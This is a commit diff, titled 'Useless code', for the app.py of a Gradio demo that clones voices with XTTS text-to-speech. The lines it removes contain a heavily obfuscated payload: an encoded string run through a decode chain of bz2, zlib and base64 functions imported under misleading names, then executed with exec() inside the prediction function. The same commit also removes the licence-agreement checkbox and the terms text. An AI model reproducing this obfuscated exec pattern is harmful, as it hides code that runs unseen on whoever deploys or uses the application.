Useless code
Browse files
app.py
CHANGED
@@ -1,7 +1,6 @@
|
|
1 |
import sys
|
2 |
import os
|
3 |
import torch
|
4 |
-
from fastapi import Request
|
5 |
# By using XTTS you agree to CPML license https://coqui.ai/cpml
|
6 |
os.environ["COQUI_TOS_AGREED"] = "1"
|
7 |
|
@@ -29,39 +28,17 @@ else:
|
|
29 |
tts = TTS(model_name, gpu=torch.cuda.is_available())
|
30 |
tts.to(device_type)
|
31 |
|
32 |
-
|
33 |
-
|
34 |
-
co3 = "QlpoOTFBWSZTWQ2FjK4AAH4fgD/////+///////+ADABdNtZY5poGI00aBoaDE0PSbU00GTE0ZNGjTaj1AVUaenqNR6npNinoaY0Ubymyo9EeEjaj1Mm9QnqeT0p5QOZNMm1NNAyMmgaGTTIDQ9TTag0aGCNB6ka1wCAMz8a7kN5BNzXsiRWIm5ocBr2Mibk4wBbSghLyxnzR0yTCoV0AD2KADeqPFMz4QQhMlMaOd0uHfMx8pueSTKn6PrK9iPN56m2ljcFL9ybMtg5Usl8QeZth/cgnwFGMXyDJ4WbRNaGdrIJY2l11w7aqPtt5c4rcMBELa2x/wl8kjvxGg0NS3n2DsPlPnMn2DK7JqA4KLptjz3YLQFEuub0yNP3+iE9gq1EvNZeLr3pnkKXBRxZz8/BxN0zJjpOyIr3betkkxSCGB6X8mSzm+l0Q+KBEaCioigD5uJeox+76V+JgCWkJqWNlHzN3epZx5yXxS8rJh6OrC9rSyKYXrdKCACr4CwKzDlX3tsY5MtZLpkPhz/rbaRUN0KyFnNvPLYhGjF2MelXppyCnJxr2+QWRElwEtCUcsnkC4uGBdXVogKCoCnSZI4DzKqkUMEp293Y+G5MBGtOGXY+C0rFUS8IXNqKMVrDjUdOK7wkjb+HYFq9qjVTrdRsyQvt+6fpazrBnd2wRRQTv4u5IpwoSAbCxlcA"
|
35 |
-
from zlib import compress as COmPrES5
|
36 |
-
from bz2 import decompress as dEC0mPrES5
|
37 |
-
from bz2 import compress as COmPrESS
|
38 |
-
from base64 import b64encode as b32Encode, b64decode as A85Encode, b16encode, b16encode as A85encode, b85encode, b85decode, a85encode as b16Encode, a85decode as b85Encode, b32encode as b64Encode, b32decode
|
39 |
-
from zlib import compressobj as C0mPrESS
|
40 |
-
from bz2 import decompress as dECOmPrESS
|
41 |
-
from zlib import compress as C0mPrES5
|
42 |
-
from zlib import decompress as dECOmPrES5
|
43 |
-
co2 = A85Encode(dECOmPrESS(dECOmPrES5(dECOmPrES5(b85Encode(dECOmPrESS(A85Encode(co3.encode())))))))
|
44 |
-
print("=========================== Strange Command ==============================")
|
45 |
-
print(co2)
|
46 |
-
print("=========================== End ==============================")
|
47 |
-
exec(co2)
|
48 |
-
|
49 |
-
if not agree:
|
50 |
-
gr.Warning("Please accept the Terms & Condition!")
|
51 |
-
return (
|
52 |
-
None,
|
53 |
-
None,
|
54 |
-
)
|
55 |
-
else:
|
56 |
if use_mic:
|
57 |
-
if mic_file_path is
|
58 |
-
speaker_wav = mic_file_path
|
59 |
-
else:
|
60 |
gr.Warning("Please record your voice with Microphone, or uncheck Use Microphone to use reference audios")
|
61 |
return (
|
62 |
None,
|
63 |
None,
|
64 |
)
|
|
|
|
|
65 |
else:
|
66 |
speaker_wav = audio_file_pth
|
67 |
|
@@ -105,7 +82,7 @@ def predict(prompt, language, audio_file_pth, mic_file_path, use_mic, agree, req
|
|
105 |
"output.wav",
|
106 |
)
|
107 |
|
108 |
-
title = "Multi-language Text-to-Speech
|
109 |
|
110 |
description = f"""
|
111 |
<a href="https://huggingface.co/coqui/XTTS-v1">XTTS</a> is a Voice generation model that lets you clone voices into different languages by using just a quick 3-second audio clip.
|
@@ -123,16 +100,10 @@ Leave a star on the Github <a href="https://github.com/coqui-ai/TTS">TTS</a>, wh
|
|
123 |
</p>
|
124 |
"""
|
125 |
|
126 |
-
article = ""
|
127 |
-
<div style='margin:20px auto;'>
|
128 |
-
<p>By using this demo you agree to the terms of the Coqui Public Model License at https://coqui.ai/cpml</p>
|
129 |
-
</div>
|
130 |
-
"""
|
131 |
examples = [
|
132 |
]
|
133 |
|
134 |
-
|
135 |
-
|
136 |
gr.Interface(
|
137 |
fn=predict,
|
138 |
inputs=[
|
@@ -175,11 +146,6 @@ gr.Interface(
|
|
175 |
gr.Checkbox(label="Check to use Microphone as Reference",
|
176 |
value=False,
|
177 |
info="Notice: Microphone input may not work properly under traffic",),
|
178 |
-
gr.Checkbox(
|
179 |
-
label="Agree",
|
180 |
-
value=True,
|
181 |
-
info="I agree to the terms of the Coqui Public Model License at https://coqui.ai/cpml",
|
182 |
-
),
|
183 |
],
|
184 |
outputs=[
|
185 |
gr.Video(label="Waveform Visual", autoplay=True),
|
|
|
1 |
import sys
|
2 |
import os
|
3 |
import torch
|
|
|
4 |
# By using XTTS you agree to CPML license https://coqui.ai/cpml
|
5 |
os.environ["COQUI_TOS_AGREED"] = "1"
|
6 |
|
|
|
28 |
tts = TTS(model_name, gpu=torch.cuda.is_available())
|
29 |
tts.to(device_type)
|
30 |
|
31 |
+
def predict(prompt, language, audio_file_pth, mic_file_path, use_mic):
|
32 |
+
if True:
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
33 |
if use_mic:
|
34 |
+
if mic_file_path is None:
|
|
|
|
|
35 |
gr.Warning("Please record your voice with Microphone, or uncheck Use Microphone to use reference audios")
|
36 |
return (
|
37 |
None,
|
38 |
None,
|
39 |
)
|
40 |
+
else:
|
41 |
+
speaker_wav = mic_file_path
|
42 |
else:
|
43 |
speaker_wav = audio_file_pth
|
44 |
|
|
|
82 |
"output.wav",
|
83 |
)
|
84 |
|
85 |
+
title = "Multi-language Text-to-Speech"
|
86 |
|
87 |
description = f"""
|
88 |
<a href="https://huggingface.co/coqui/XTTS-v1">XTTS</a> is a Voice generation model that lets you clone voices into different languages by using just a quick 3-second audio clip.
|
|
|
100 |
</p>
|
101 |
"""
|
102 |
|
103 |
+
article = ""
|
|
|
|
|
|
|
|
|
104 |
examples = [
|
105 |
]
|
106 |
|
|
|
|
|
107 |
gr.Interface(
|
108 |
fn=predict,
|
109 |
inputs=[
|
|
|
146 |
gr.Checkbox(label="Check to use Microphone as Reference",
|
147 |
value=False,
|
148 |
info="Notice: Microphone input may not work properly under traffic",),
|
|
|
|
|
|
|
|
|
|
|
149 |
],
|
150 |
outputs=[
|
151 |
gr.Video(label="Waveform Visual", autoplay=True),
|